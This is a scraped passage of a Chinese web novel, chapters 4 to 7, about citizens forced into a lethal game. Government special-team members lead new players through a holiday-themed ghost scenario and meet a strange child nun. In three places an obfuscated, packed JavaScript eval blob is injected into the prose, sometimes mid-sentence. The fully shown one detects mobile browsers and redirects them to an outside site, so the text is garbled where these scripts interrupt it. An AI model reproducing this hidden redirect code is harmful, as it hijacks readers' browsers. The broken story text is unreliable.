蒋明野摇了摇头,眼神晦暗不明,“在家闲着也是闲着。” 他朝邬纵递上烟盒,邬纵没接。 一旁,燕行远背靠栏杆伸了个懒腰:“让他有点事做,心里也能好受一点。” 队里的成员,除了天生孤儿,剩下的亲人大都是因游戏而丧生,郎月和郎星是幸运的,还有彼此。 蒋明野家里原本还有一个妹妹,可在上场游戏中,她第一次被选中成为玩家,最后没能走出来。 邬纵见过兄妹俩互相嫌弃,老死不相往来的样子,可蒋明野这段时间的消沉也是真的。 后来,他就报名了精英小队。 恰好一队在扩张,通过考核后,他便成了一队的一员。 邬纵原本给他放了两周的假,但处理了妹妹的后事后,他就直接入队了。 大家都有过失去亲人的经历,知道这种时候,任何言语的安慰都是苍白,只有等他自己缓过去。 燕行远看了眼手机,放松的眉眼一凛:“游戏系统回复了。” 邬纵和蒋明野也站直了,同时看过去。 忍国的那条报错帖已经被斗嘴的楼层顶出了数千万条,而系统一回复,就自动置顶了: 【检测结束,初始判定有效。华国《难道我也是都市罪恶的一环吗?》副本通关,结果不作更改。】 刚才还在喋喋不休的忍国网友全都噤声了。他们敢附和举报,但不敢对游戏已确认的调查结果置喙。 然而事情还未结束,忍国曾经因为倒计时卡顿而逃过一劫的情况也同样被曝光了出来。 这回,受到质疑的轮到他们了。 这还没完,华国等曾被举报的国家们联合,向系统提出了关于举报行为的规范要求。 双管齐下,从国家到普通民众都在向游戏施压,忍国网友们的苍白辩解被巨大的愤怒之声淹没。 很快,游戏系统也再度有了回应。 【关于忍国去年春季度《拜托,请为真理献上生命吧!》副本异议的调查结果:检测结束,初始判定无效,副本失败。补罚将于次日生效。】 【关于游戏内举报行为的规范:若经查证为主观恶意举报,且被举报国在副本内并无违规行为,则惩罚举报国下个副本的存活线要求提升10%】 论坛上瞬间一片欢腾。 【华国-真理是我:游戏降临这三年,还是第一次这么爽。】 【华国-匿名:短暂原谅这破游戏一秒。】 【华国-必胜:虽然很高兴,但是可没必要感谢游戏哈,只不过是恶人自有恶统磨罢了。】 华国异调局的人也都不约而同松了口气。 “我发现忍国那个副本的自检就很快啊?” “这么说,这次确实是我们运气好了?” “反正系统也没检测出什么不是吗,希望这种好运气可以延续下去吧。” 可下一秒,天空中那个巨蛇图标再次闪烁。 接着,那阵熟悉的、欢快的音乐声再度响起。 刚才还在庆幸的众人立即变了脸色。 雌雄不辨的机械音响彻这片大地:【各位,晚上好,很高兴再次见到你们,你们最爱的贪吃蛇又上线啦~一小时后,华国将开启下一个副本,让我看看,这次吃哪里比较好呢?】 一阵卡顿的笑声过后,系统的声音接着响起: 【本轮副本名称:《到底还能不能过个好节了!》住在幸福市幸福小区的李晓阳,发出了这样的牢骚。】 【本轮副本生存率要求:百分之六十。】 【大家做好准备,系统即将随机抽取幸运玩家喽~叮叮咚咚咚~】 异调局内,所有人都已被紧急召集起来。 “新副本怎么会这么快就来?” “就是啊,我还以为这回可以歇一段时间了呢。” 在此之前,最密集的两场副本之间也间隔了一天。 邬纵想了想,“可能跟这次自检有关。” 只是他们还不清楚游戏里到底发生了什么。 但不管怎么说,坐在这里的每个人都做好了随时进入副本,甚或是随时牺牲的准备,虽然惊讶,但还不至于乱了阵脚。 方闻英蹙眉问:“这一轮游戏吞噬的目标土地检测结果出来了吗?” 旁边的科员回道:“还没有,要等结果出来,至少也需要一天。” 杨昭宁磕了磕笔帽,“这回的副本名字是《到底还能不能过个好节了》,虽然信息有限,但我更偏向于,这次不会是纯物理副本了。” 大家的共识是,相较于不科学的灵异副本,还是物理副本更好对付些。 不过真遇上了也没办法。 “这轮游戏,郎星和郎月尽量回避。”邬纵抬眼说。 两人对视一眼,这回没有再吵架,而是同时叹了声气。 姐弟俩最相像的地方除了长相,便是都怕鬼。 郎星迟疑了一下,“其实,听副本名字,感觉就算真有灵异成分,也可能没那么恐怖?我觉得我可以参加,毕竟如果能随机多我一个,就少一个普通人了。” 朗月也连连点头:“没错,也算上我。反正再怎么样,至少肯定比去年那个《谁想和我捉迷藏呀》要好。” 提起这个副本,两人都白了脸色。 那次他们不走运,都被随机进了游戏,最后差点没能活下来。 方闻英沉思了两秒:“从生存率划线来看,百分之六十,这个副本的难度应该跟上一个罪恶都市副本差不多。” “不必完全把朗月和郎星排除,不过重心还是放在邬纵,杨昭宁,徐望舒,秦赴川和湛青身上。” 这几个人是一队里最适合灵异副本的,胆大,理智,更重要的是足够稳定。 接着她又报了二队和三队里的几个名字。 被叫到的人都点了点头。 方闻英颔首,“一队二队三队,都做好进入游戏的准备。” 灰白天空中,欢快的铃声又响起来了。 【叮叮咚咚咚~本轮游戏的幸运玩家已经全部诞生,共计二十人,接下来就是激动人心的揭晓环节啦!】 所有人手头的动作都停了下来。 二十个玩家,相较于全国总人数来说,绝对不算多,被选中的几率不大。 可一旦被选中,生命就几乎能看到尽头了…… 所有人的心都快要跳到了嗓子眼,有的闭上了眼等待宣判,有的执拗地看着天空公布答案。 天空中,第一张脸逐渐显现:【恭喜:嘉水省-嘉水市-临湖区-临湖街道-林小楠。】 林小楠一次又一次确认着那张脸,直到眼见自己的手背上出现一条小蛇印记,那是被选中的玩家才会有的,实在无法自欺欺人说那不是自己,与一旁的父母抱头痛哭起来。 接着是第二张脸,第三张…… 最后,二十个名字全部被报了一遍。 没被选中的纷纷喜极而泣。 这二十人里,特殊小队共有四人被选中,一队的邬纵,蒋明野和徐望舒,以及二队的陈州。 数量不少,属于正常范畴。 异调局的人松了口气,至少不用再经历上一个副本无人领头的提心吊胆了。 毕竟剩下的普通玩家,全是第一次进入游戏。 【请幸运玩家们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【这十几个玩家运气是好,可还有四个倒霉蛋得自己摸索啊,总感觉不太妙……】 被评论提及的四个普通玩家,正站在后山的一棵槐树下,面露恐惧。 与此同时,邬纵六人也正观察着四周。 他们正站在一处小区门口。小区的大门敞开,岗亭里也没有保安的影子。 陈州指了指不远处一块陈旧的门匾,上面几个布满灰尘的烫金大字,正是副本提要中讲到的幸福小区。 恰在此时,系统的声音再度在每个人耳边响起:【所有玩家均已到齐,副本《到底还能不能过个好节了!》正式开启。】 【国庆七天乐,难得的小长假,李晓阳却乐不出来。本次副本结束条件:陪李晓阳度过这个小长假,并找出让他过不好节的罪魁祸首。】 【副本结束之前,请保持百分之六十的生存率,否则将判定游戏失败喔~】 山上,明澄已跨步朝山下的房子跑去。 而幸福小区门口,一个矮胖的年轻男人突然出现,朝邬纵几人跑去。 “邬纵?陈州?”年轻男人远远叫道。 明明腿短,可他的步伐却奇快,转眼间便到了跟前。 “还真是你们啊。” 他长相普通,丢进人堆里便转瞬即忘,只是看向他们的视线却透着股诡异。 男人跑得满头是汗,却也不擦,目光阴沉沉地扫过他们,“你们怎么会在这里?” 普通玩家们同时一怔,他们根本还没来得及探究自己在这个世界的身份。 可男人哪怕不是boss也应该是个重要npc,表情大有答不上来就要手撕他们的阴鸷,都有些慌乱,纷纷看向邬纵和陈州。 邬纵则望向男人来时的方向——是小区里。 结合他刚才喊了他们名字,他冷静抬眼:“不是约好了的吗?” 男人盯着邬纵看了一眼,缓缓笑了笑:“没错,咱们约好了的,就是跟你们开个小小的玩笑。” 他又看向躲在邬纵身后的四人,笑容更大了,“瞧你们,见到我怎么这幅表情,我有这么可怕吗?” 那几人连忙挤出笑容:“哪有的事!咱们不是朋友吗?” 他点了点头:“是啊,咱们可是朋友。” “可是,我不是提前告诉过你们我家的门牌号了吗,为什么要站在这里?为什么不直接进去?” 漆黑的瞳仁死死盯着每个人,轻声细语:“你们这些人,真的是我的朋友们吗?” 那张脸上的笑容倏然消失了,微胖的身躯犹如气球般开始胀大: “现在,告诉我,我家在几栋,几楼,几室?” 5. 第 5 章 【靠,怎么回事,还以为走运了,结果他们这边一上来就遇到个疑似boss啊?】 【别告诉我上来就团灭啊!】 【那可就真是一群垃圾了。】 膨胀的男人见他们答不出,半是阴沉半是兴奋:“你们不是说,我们是朋友吗?” 他朝他们逼近。 邬纵突然拿出手机看了一眼,手机的消息列表全都处于清空状态,一条好友消息都看不见,更别提眼前这个男人的消息了。 他却不慌不忙开口:“李晓阳。” 旁边几人维持着恐惧表情都是一愣。 男人则是一顿。 邬纵淡然地看着他:“得了健忘症?你确定自己给我们发了消息?” 身旁的陈州同样作出查看手机状,困惑道:“我就说,明明我也没有收到你的消息。” 此话一出,男人身体里涨起来的气突然散去,恢复成正常身形。 危机度过,他重新笑了起来,摸了摸鼻子:“是吗?那可能是我记错了吧,走吧,我带你们。” 几个玩家交流了个眼神,他果然就是李晓阳。 说完,男人热情地拉着邬纵等人进了小区。 邬纵瞥了其他人一眼,其余人都立即跟上。 陈州低声交待:“不要太紧张,刚进游戏时一般不会设置必死的局,冷静思考。” 几人连忙点头。 前面的李晓阳叹息:“你们也别怪我记不清,实在是这阵子太忙了,你看看,我爸都来电话催几回了,我跟小丽才动身。” 此时的李晓阳已经与刚才完全不一样了。 “对了,先提前跟你们打声招呼,我老家可没大城市这么发达,也就是景色漂亮点,适合散散心。”他乐呵呵地笑。 说话间,他们大概摸清了自己与李晓阳之间的关系。 李晓阳口中的小丽是他的老婆,这个假期,两人打算回家看看家人,也是为了参加亲戚的婚礼。 而邬纵他们,跟李晓阳是在一个体育论坛上相熟的,后来无意中听他说老家那边打算搞个农家乐,风景秀美,便一时兴起,打算跟去李晓阳的老家看看。 只不过李晓阳自言工作太忙,假期都开始两天了,他们公司才正式放假。 李晓阳领着他们来到了小区最西边的一栋楼。 老小区,没有保安,没有门禁,更没有电梯,只能通过步梯上六楼。 沿着没有什么采光的楼梯向上,油腻灰污的阶梯黏着鞋跟,到了二楼还能听见一阵吵闹声,房门并不隔音。 逼仄掉皮的墙壁上印满了开锁和通下水管道之类的小广告,从一楼直贴到六楼门前,黑的红的新旧交叠,触目惊心。 来到603,李晓阳掏出钥匙,开了门。 “进来吧,都不用换鞋了。” “小丽?”李晓阳边放钥匙边皱眉喊道,但家里没人。 他打了个电话。 过了一会儿,语气不善问道:“我刚下班到家,我们马上要出发去坐车了,你人去哪儿了?” 不知那头说了什么,他的身子似乎又有些涨起来的趋势:“怎么又生气了?昨天不是还说得好好的去见见我爸吗?你非得找不痛快是吧?!你到底还回不回去了?” “我又怎么了?你说我不着家?我这么辛苦是为了什么?还不是为了这个家?!” 最后吵完一句“到底还能不能过个好节了?!”他用力挂断了电话。 邬纵打量了一眼四周,桌边放着一个拉杆箱和几个袋子,应该是准备带回家的行李和特产。 李晓阳经常加班,家里大概都是小丽收拾的,看得出来,她很爱干净,各个房间东西都摆放得整整齐齐,一尘不染。 斜对面,卫生间的镜子上还贴着张便利贴,是告诉丈夫刷完牙一定要记得把杯子里的水控干。 倒是李晓阳带着他们进来后,原本还算光洁的复合木地板上出现了一个个不明显的脏脚印。 李晓阳的身形逐渐恢复了正常,“让你们看笑话了,之前一直没怎么跟你们提过我老婆,就是因为我们夫妻关系……唉,昨晚上才大吵了一架,说我不爱干净,一天天的,就知道唠叨我,这也不对那也不行,我这么累,还不是为了这个家?” “三天一大吵,两天一小吵,这日子我是过不下去了,我也想好了,等从老家回来,非得跟她离婚不可!” 章书壮着胆子劝道:“别气了,跟嫂子好好沟通。” “跟她根本没法儿好好说!”他砸了下桌子,看了眼墙上的钟,“快来不及了,咱们先走吧,她刚才赌气说不回去了,我都懒得理她,爱回不回。” 几人对视一眼,想到先前这人涨大的可怖模样,都没敢多说什么。 李晓阳倒是不客气,“我看你们都没拿什么东西,刚好,我行李多,你们帮我一起搬吧。” 几人拎着大包小包出了小区。 出门时,邬纵侧过头去。 陈州察觉,也看过去,见到一个穿着制服的人提着工具箱,低着头,步履匆匆与他们擦肩而过。 “怎么了?” 邬纵摇了摇头,“没什么。” 从幸福市到他老家不远,每天固定时间有一班汽车。 “咱们不去汽车站吗?”林小楠问。 李晓阳笑了笑:“有更近的,我每回回家都坐那趟汽车,多少年了,私人承包的,更便宜。” 林小楠撇撇嘴,重点估计是最后那三个字。 到了市中心的大巴车停靠点,回家的人流已经聚集了不少,路边好几辆大中巴士停着。 李晓阳在前面寻找他们要坐的那一班,邬纵和陈州在旁边低声交流,剩下几个玩家离他稍远,也聚集了起来。 林小楠进游戏前还恐惧地痛哭了一场,现在跟国家队的大佬待在一块,周围也没有危险,总算放松了下来,随口道:“你们觉不觉得李晓阳特别古怪,刚见面那会儿给我的感觉……简直不像人。” 有同感的不止是他。 “我到现在还心有余悸呢。” “我也是。” 王密急切道:“游戏任务不是找出让他过不好节的罪魁祸首吗,他刚才打电话的时候就刚好喊出了能不能过个好节的那句话,那会不会困扰他的罪魁祸首,就是他老婆?” 对面的章书摇了摇头,“现在剧情都还没彻底展开呢,我觉得还不能这么快确定吧。” 王密讪讪,他确实有些心急了。 “可李晓阳……” “你们是在说我吗?”低低的一句话犹如砂纸从几人耳根擦过,激起一片鸡皮疙瘩。 转过身去,李晓阳不知何时站在了他们背后。 明澄看了眼背后。 空空荡荡的,什么都没有。 阴沉沉的天空中飘下几滴雨,猝然滴在她光溜溜的脑袋上,凉得她下意识晃了晃脑袋。 她摸了摸头,刚才总感觉背后好像有人跟着她。 放眼望去,杂草丛生,在风中微微晃动,更远处,隐约可见一些小小的房子。 明澄低头看了眼肚子,犹豫了一下,但还是将两手放在嘴边用力喊:“有——人——需——要——帮——助——吗?” 无人应答。 她沉吟数秒。 然后低头,开始积极寻找四周有没有倒下来的扫帚和没扔的垃圾。 突然,远处的草丛里,一抹彩色跃入她眼帘。 明澄眼睛一亮,走了过去,看到一个精致的长发小娃娃。 沾了泥的头部挂着一个圈,是个钥匙扣。 她弯腰,将钥匙扣捡了起来,看着跟她手心差不多大的小娃娃,那双黑豆眼直直地望着她。 她将钥匙扣塞进兜里,喃喃:“捡垃圾了,考核老师一定看见了。” 口袋里的钥匙扣隐约震了下。 说完她就转过身,继续朝山下的小楼们进发。 蒋明野一行人已经进了农家乐。 根据身上背包提供的信息,他们在游戏里的设定应该是来这儿旅游的普通游客,在平台上预订了一户李姓人家作为民宿落脚。 农家乐门口拉着条横幅:热烈欢迎各位旅客! 走过横幅,便能看见内里,道路发达干净,一座座别墅井然有序,看着发展不错,不过似乎并没有太多旅客。 蒋明野一副不想跟笨蛋说话的气势,个子又过高,看人时眉眼压下来,让人生畏。 相比之下,徐望舒外表俊美,语气温和,最容易获取别人的信任,因而更多人围在徐望舒身旁:“大佬,题目里,主人公李晓阳是住在幸福小区的,跟这个南湾农家乐显然搭不着边吧,咱们要把重点放在去找幸福小区上吗?” 徐望舒摇了摇头:“他跟这个村子肯定有联系,要不了多久我们就会知道了。” 前面的蒋明野不耐地开口:“快点,要下雨了。” 根据平台的预订通知,他们费了番功夫,找到了李大爷家。 他家是栋三层小楼,李大爷很热情,带他们楼上楼下将房子看了个遍。 “我儿子今天也会回来,还要带几个朋友,不过放心,你们先选房间,我住在一楼,就在那间房,三层楼都有空房,多着呢。” 几个普通玩家看向徐望舒二人,“大佬,你们住哪儿?” 蒋明野一直没说话,只在此时下巴指了指一楼的第二间房。 那里就在李大爷的房间隔壁,而且窗户离后山最近,可以说是最危险的一间房。 但根据目前所见,这个农家乐里风平浪静,似乎没什么需要害怕的。 “那我们几个也都住一楼。”其他人也一一表态。 等他们都选完了房,徐望舒选择了最后一间,一头一尾,将几人包在中间。 “行,你们回头要是缺什么就跟我说,我们刚搞这个民宿,没什么经验,但保准让你们住得舒心。” 收拾好了行李,徐望舒走出了门,李大爷正在准备晚饭。 见他过来,笑着问:“怎么样,房里还缺什么吗?” “没有,都挺好的,推开窗就是湖,景色不错。” “那就好。我们这儿空气也好,也就是新奇玩意儿没城里多,对了,你们是从哪里来的?” 徐望舒抬眼:“幸福市。” “哟,真巧,我儿子也在幸福市工作。” 徐望舒微笑:“是吗?这么巧,您儿子在幸福市定居吗?” “是啊,今年年初刚结婚买的房。” “正好我也想买房,他买的哪儿?我取取经。” “他说叫,幸福小区。”大爷很热情,“那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207427|181291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要不要加他个联系方式问问?” “哦,我儿子名字叫李晓阳。” 李晓阳面色诡谲,语调平平地重复了一遍:“你们刚才,是在说我吗?” 他个子矮,方才被王密挡住了,居然无人发觉。 几人早已被吓出了一身冷汗,尤其离他最近的王密,更是汗如雨下。 【操,这人突然出现,我也吓一跳。】 【这几个人是来度假的吗我请问??一点警觉性都没有,感觉这个副本没有上次的好运气,要危险了,烦死了!】 【这个李晓阳明显不是什么普通人,你行你上啊!】 突然,正阴沉着脸的李晓阳肩膀被拍了一下,一只有力的手钳着他的肩膀,他顿住。 转过头去,原来是邬纵。 “还不走吗?快要发车了。” 这一打岔,似乎让李晓阳忘了刚才的话,一拍脑门:“啊对对对,我就是来提醒你们的,结果听到你们喊我名字就给忘了,抓紧时间上车吧!” 几人顿时松了口气。 陈州扫了他们一眼,轻声提醒:“注意警惕。” 几人喏喏称是。 但林小楠还是忍不住嘟囔了一句:“这个李晓阳,怎么神出鬼没的,他到底是不是人啊?” 大巴车拥挤,几人找售票员买了票,上了车,勉强在后排找到了座位。 李晓阳热情地拿出吃的分发给他们,然后便坐在窗边,望着窗外发呆。 他眉头拧得死紧,咬着手指,面上一派焦虑。 邬纵注意到,他的指甲光秃秃的,周边的皮都被啃得坑坑洼洼。 李晓阳注意到了他的目光,回望过去,邬纵也没有躲开。 两秒后,李晓阳先垂下了眼,“我刚才给小丽打了个电话,她不肯接,也不知道她现在有没有回家了。” 虽说电话里吵得凶,但他应该还是挂记着妻子的。 叹了声气,他不再说话了。 很快,大巴车在镇上停靠,众人又坐上了一辆面包车,等到站,就是南湾了。 “我们这些老人啊,就愿意留在南湾,不过年轻人就不太愿意待了,无聊嘛,都出去打工了。”李大爷笑咪咪地择着豆角说。 “但是他们迟早还是得回来,根在这儿。” 其他几个玩家也都围了过来,听着二人交谈。 “跟我一个老头子说话,烦了吧?” 对面的徐望舒笑了笑,将篮子里的豆角理了理:“不会。” 见他迟迟不提李晓阳,赵明明有些着急,正想直接询问更多关于李晓阳的事,就在这时,门外传来一阵喧嚣。 一群人穿过大门,其中一个高声喊:“爸!” “是晓阳回来了?”李大爷惊喜地站起身,手里的豆角都掉了地。 徐望舒将其捡起,放好,才望过去。 说话间,那拨人已经到了屋里。 蒋明野和徐望舒与走在前面的邬纵对上了眼,又移开视线。 这个时候他们还不应该认识。 自从下了火车,李晓阳身上的阴沉与焦虑就似乎消失了,介绍道:“爸,这几位就是我电话里跟你说的,要来这边玩儿的朋友。” “好好好,你放心,房间我都已经收拾出来了,这几个客人是网上预订咱家民宿的,住一楼。” 说着,李大爷看了看他身后,“小丽呢?怎么又没跟你一起回来?” 李晓阳示意他们不要说话,撒了个谎:“小丽家里人说想她了,回娘家过节去了。” 李大爷不太相信:“你俩是不是吵架了?” 李晓阳讪笑一声,“怎么可能,爸你别瞎想。” 李大爷看了眼其他人,“都饿了吧?我先去烧饭,烧完饭再说。” 李大爷带着择好的菜去了厨房。 李晓阳还留在客厅,大概是因为刚提到了妻子,又是一副魂不守舍的样子。 剩下的人对视一眼,假模假样地进行自我介绍,逐渐从相互认识进入一见如故的阶段。 突然,耳中传入一阵悠扬而富有节奏感的吟唱。 陈州率先发问:“你们有没有听到什么奇怪的声音?” 蒋明野两手环胸,眉心拧起,“小女孩的声音。” 那声音由远及近。 陆续有普通玩家开口:“是,我也听到了,是女孩,而且年纪肯定很小。” 李晓阳回过神,听他这么一描述,顿时一愣,“女孩儿?” 他纳闷:“可我记得,我们这儿应该没有年纪很小的女孩儿啊。” 几个玩家立刻戒备起来。 孩童类的鬼怪虽然少,但大都很凶。 【又遇到鬼了?才来副本第一天啊,也太惊险了吧??】 【这是在唱什么啊,第一次见有放大招前奏的boss……】 邬纵几人放轻脚步走在前,穿过厅堂,来到了大门外。 那道古老的吟唱声变得格外清晰: “高价回收——冰箱——彩电——洗衣机——空调——电脑——热水器——摩托车~” 声音停了一下,“啊,不对。” 随后清亮的童声重新响起: “低价维修——冰箱——彩电——洗衣机——空调——电脑——热水器——摩托车~” 6. 第 6 章 循着声音望过去,众人率先看到了一颗光滑圆润,正东张西望的小脑袋。 视线向下,是一身灰色的袍子。 那竟然是个小尼姑。 一个显然与这里格格不入的形象。 【看着好像,不太像是鬼童?】 听到动静,那颗白水煮蛋般的头转过来,露出了一张精雕玉琢的脸。 随即那张脸上迸发出惊喜神色,蹬蹬蹬朝他们跑了过来,大声询问:“请问你们家需要维修电器吗?” 抬手时,所有人的视线都聚焦在了她的手背上—— 那里有一枚蛇形印记。 独属于玩家的印记。 在印记出现在屏幕上的那刻,整个直播间犹如大地震。 【长得这么好,居然不是鬼怪npc,是个玩家?我怎么从来没在现实里见过这么好看的小孩啊,不对,游戏里哪来的小孩儿啊??】 【她是玩家??这小孩儿是玩家??这个小尼姑是玩家??!】 【她才多大啊天哪!看上去也就三四岁!这怎么可能啊!!】 【贪吃蛇你能做个人吗??@游戏系统!宗教人士你也敢抓?】 异调局内,喝水的,记录的,全都望着直播间,停下了动作。 “怎么会这样,不说规则,公示进入这个游戏的玩家有二十个,里头根本没有小孩啊!” 方闻英的呼吸急促起来,她想起了第一个副本里,小超市老板汇报的情况。 “立刻向游戏抗议,玩家的选取程序可能有bug!” 朗月和郎星也没了争吵的想法,只是同时喃喃:“原来真的有反光小孩……” 游戏中的玩家也同样震惊。 就连一向沉稳的邬纵都久久没有回神。 他盯着那颗等待答案的白嫩乖巧,精致得不像话的白煮蛋,目光几度变幻。 唯有最具亲和力的徐望舒上前,蹲了下来,主动说:“你好,我叫徐望舒,小朋友,你叫什么?” 那颗白煮蛋乖巧回他:“叔叔你好,我叫明澄。” “你还记得,你是从哪里来到这里的吗?” 白煮蛋一脸骄傲:“从职业技术幼儿园的毕业考核。” 普通玩家们纷纷瞪大了眼。 【?她在说什么玩意儿?】 【职业技术幼儿园?这小尼姑是脑子有问题?】 徐望舒沉默半晌,重复了一遍:“你说,你上的是,职业技术,幼儿园?”在职业技术上加了重音。 明澄点了点头,似乎也知道他们会震惊,捏着手指交代:“师父说,她以前是个文科生,找工作的时候才恨自己当初没学上一门挖机技术,所以把我送去职业技术幼儿园深造。” 说完,她想起什么,捂上了嘴,“不对,师父后来告诉我,送我去职业技术幼儿园是为了修身养性。” 简直一派胡言。 蒋明野抱臂嗤笑了一声。 明澄察觉出这个高大的叔叔对她的态度似乎不那么友好,默默离他远了一些。 “叔叔,你们也是来参加考核的吗?”她好奇问道。 徐望舒目光复杂,“某种角度来说是的。” 随后他问得更仔细了些:“明澄,你知道你是哪个庵堂的吗?” 明澄眼睛一亮:“什么糖?” “看来不知道。那你知道你师父叫什么名字吗?” “知道,叫:明澄的师父。” “……” “那你还记得,你住的地方叫什么名字吗?” 她继续乖巧回答:“记得,叫:明澄的小家园。” 徐望舒:“……” 【确定了,智商真的有问题。】 【也可能没问题,就是小孩子爱胡说八道,但肯定不靠谱就是了。】 【这对话,甚至都不用避着npc,任谁听了都只会觉得这孩子病得不轻。】 【系统有毛病吧,放进来这么小的玩家,脑子还有问题,带上个拖油瓶还怎么活??】 屏幕前,方闻英撑着额头:“先去查一下各大庵或寺里,有没有叫明澄这个名字的孩子吧。” 徐望舒还在继续套话:“那,你们那个幼儿园里,都是跟你一样没有头发的小朋友吗?” “不是的。”她摇了摇头。 “有的小朋友是红头发,有的是黄头发,有的是白头发。”明澄掰着手指头数。 “只有我没有头发呀!”她笑眯眯说。 “嗯……还是家国际幼儿园?”徐望舒艰难维持住了笑容,“听上去很有个性,很厉害。” 明澄歪头看他,突然抿着嘴不说话了。 她不太懂什么叫国际幼儿园。 可是师父说,跟人聊天的时候不能把天聊死,怎么都得接下去。 于是她含含糊糊地点了下头,“是的,烹饪课上老师有煮过一大锅鸡,嗯,锅鸡幼儿园,虽然我没吃,但是很香,很厉害的。” “?” 徐望舒一时语塞,再看她也不知道经历了什么,整身袍子都皱巴巴的,皱了皱眉,开始给她理衣服。 他动作温柔,明澄下意识朝他贴了贴。 突然,一个钥匙扣从她浅浅的兜里掉了下来。 “这是?”他捡起来。 明澄看了一眼,跟他分享:“是在山上捡到的垃圾。” 不知道是不是徐望舒的错觉,娃娃的眼里似乎有一瞬露出了某种凶光。 明澄也发现,娃娃的眼睛好像没有白天刚见到的时候亮,在徐望舒面前,这就是一个灰扑扑的脏娃娃。 徐望舒看着那只有些诡异的娃娃,再看看软乎乎的明澄,笑了笑,“明澄,叔叔想要这个,可以给叔叔吗?” 明澄想了想,“可以呀。” 徐望舒摸了摸她的头,“谢谢你。” “不客气,不过叔叔,”她一脸真诚地建议:“你还是捡塑料瓶和纸板去卖更值钱。” 蒋明野又哼笑了一声。 邬纵冷峻依旧,望了眼明澄,又移开视线。 徐望舒:“……谢谢了,但叔叔并不想卖废品。” 为了防止这张红润的小嘴再说出什么灰暗的话,他反问:“明澄,刚才为什么要在外面那样喊?” 明澄的思维果然被他带跑了,低下头:“明澄没有钱,所以想帮大家修东西,换吃的。” 徐望舒一顿,眉眼柔和下来,“明澄饿了是吗?” 不知为何,这个问题让明澄思索了很久,才犹豫着点了下头:“嗯。” 他随即看向李晓阳,“请问家里还有什么吃的吗?” 刚才闻声出来的李大爷盯着明澄,有些诧异地看了会儿,挥了挥手:“饭还没做好,这孩子应该不能吃荤吧,有些黄瓜萝卜什么的行不?” 明澄用力点了点头。 于是李大爷拿出了一小筐洗净的瓜果。 邬纵不动声色起身接过,放到明澄面前。 看她吃起来,接着说:“伯父,这个孩子大概是迷路了,我们回头报警问问,至于现在,先跟我们一起吧,她的吃住我另外付钱。” 李大爷立即板起脸:“瞧你说的,这孩子的脑子,谁见了不觉得可怜,我还能要你的钱?再说了,她这么小一点的娃娃,能吃多少?” 话音刚落,旁边的明澄已经飞速抱起了第三条白萝卜。 李大爷:“……少吃点儿吧孩子,容易烧心。” 他将筐里的黄瓜也拨到了明澄面前。 众人的视线也一时无法再离开她。 还是第一次见到这么能吃的孩子。 刚才出去的徐望舒从外面走了回来,手里拿着只包,里头是几件借回来的小孩能穿的干净衣服,“明澄,会自己洗澡吗?” 明澄百忙之中抽空点了点头,“会。” “好,那你先去洗个澡,换身衣服好吗?洗完出来就可以吃饭了。” 明澄立即应是。 一楼就有淋浴间,李大爷跟明澄详细讲了冷热水开关的方向,确认她够得着,就叫李晓阳进厨房帮他一起烧饭了。 厅堂里总算只剩下了几个玩家。 桌边的人一开始还在说着那没汇合的四个人,刚起个了话头,就忍不住拐到明澄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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随后闭着眼,认认真真在光滑的头顶搓出了泡泡。 镜子里,瓷砖上,玻璃分隔门上,所有能反光的地方,一个个沉默的“明澄”,一道道冰冷的视线,都望着她的方向。 渐渐地,明澄察觉到什么,停下了动作,喃喃:“有点凉凉的。” 她缓缓睁开了眼,屏住呼吸,转过身去看—— “真的忘了关窗户。” 娃娃的眼中闪过愤怒。 等高高兴兴把窗户关了,果然不凉了,甚至还暖暖的。 明澄继续洗头。 头洗得差不多了,明澄顶着满头的泡泡正要冲洗,水却突然停了。 她刚睁开眼瞧去,花洒就突然朝四面八方滋出了水,她捂着眼睛,勉强将泡沫冲掉。 就在她的头顶,几缕黑色头发在花洒的孔洞里扭动。 接着,后方的水管处也发出了咔哒咔哒的声音,就像是被什么东西撑着,一点点开始松动,黏腻的黑色发梢迫不及待要涌出来。 明澄视线紧锁那个方向,一脸凝重。 娃娃的嘴角露出不易察觉的微笑。 下一秒,明澄的手里多了一把扳手。 总算叫她找到能修的东西了。 她娴熟地开始拧角阀。 拧到一半,明澄突然注意到那接口处探出了一截黑色细丝,她茫然地伸手碰了碰,那东西像是有生命似的缩了回去。 可没过多久,又探了出来。 明澄的神情从茫然到清醒,脑海中,师父曾经对她描述过的一幅画面徐徐展开。 阴影处,长发娃娃的脸上再度露出一抹喜极而泣的笑,默数三个数。 第一秒,明澄果然后退了一步。 第二秒,她的脸上果然露出震惊。 第三秒,她果然朝着门外大喊:“救命!救命!有没有好心人来救救我呀!” 娃娃的嘴角快要扯到耳根,享受地听着明澄眼泪汪汪喊—— “水管里有好多好多蟑螂!” “它们的须须在动!” 那笑戛然而止。 7. 第 7 章 桌边的人还在讨论明澄的去留。 “我觉得,王密说的也不是没有道理。” 邬纵抬眼,不疾不徐说:“所以对待有可能拖后腿的同伴,你们都希望这么处理?” 王密嘟嘟囔囔:“安眠药又不会死人。” 蒋明野笑了,指着那几个表示同意的玩家:“那恐怕,药都不够你们几个分的吧?” 几人敢怒不敢言。 王密“腾”地站起来:“你说什么呢!那个明澄是来路不明,我们才是一个团队的,更何况你们本来就是国家派来保护我们的!” 